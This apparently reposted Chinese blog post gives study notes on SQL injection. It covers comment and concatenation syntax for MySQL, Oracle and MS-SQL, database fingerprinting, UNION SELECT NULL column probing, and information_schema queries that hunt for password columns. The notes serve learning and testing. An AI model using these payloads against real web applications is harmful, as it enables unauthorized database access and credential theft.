SQL注入的一些笔记(一)

来源:互联网 发布:java回调函数的作用 编辑:程序博客网 时间:2024/06/05 16:35

注释:-- (含空格)或#

注入字符串:

1、‘

2、’‘

3、连接符:Mysql:’ ‘A(空格)

                      Oracle:'||'A

                     MS-SQL:'+'A

注入数字:

1、表达式

2、SQL关键字表达式:67-ASCII(‘A’)

3、单引号被过滤时,基于必要时的隐式转换:51-ASCII(1)

PS:URL编码:

1、&:%26    =:%3d

2、空格:+或%20

3、+含义用%2b编码

4、;用%3b不表示分隔cookie字段

注入查询结构:

1、对于ORDER BY结构,提交1,2,3,。。。且此结构可知道查询结果共多少列

2、1 ASC

      1 DESC

     不接受UNION,WHERE等关键字,用嵌套查询代替参数

区分数据库方式:

Oracle:BITAND(1,1)-BITAND(1,1)

MS-SQL:@@PACK_RECEIVED-@@PACK_RECEIVED

Mysql:CONNECTION_ID()-CONNECTION_ID()

Mysql处理行内注释:

/*!32302 and 1=0 */

如上,以!开头,接数据库版本信息,则若实际版本高于或等于注释中的版本,注释中内容解释为sql


UNION组合的列,列数必须相同,且数据类型兼容;NULL可以转换为任何数据类型,占据一列,未知数据类型可以用NULL填充

确定列数:

1、用ORDER BY语句

2、' union select null--

     ' union select null,null--

   直到出现查询结果

确定字符串列:

   确定列数后,将上面确定列数的注入语句其中一个null改为字符串‘a’,循环测试所有列

PS:Oracle每个select语句必须有from,可用全局表DUAL

提取数据库版本:

MS-SQL,Mysql:@@version,version()

Oracle: select banner from v$version

user()可以提取连接数据库的用户名

database()提取数据库名称


提取有用信息

利用元数据库information_schema:

1、information_schema.columns:所有数据库表名和列名,table_name,column_name

PS:可以查询特定有用信息,利用where子句   select table_name,column_name from information_schema.columns where column_name like '%pass%'

2、information_schema.schemata:数据库名称。schema_name

PS:连接查询结果列:oracle:  table_name||':'||column_name

MS-SQL:table_name+':'+column_name

Mysql: CONCAT(table_name,':',column_name)



0 0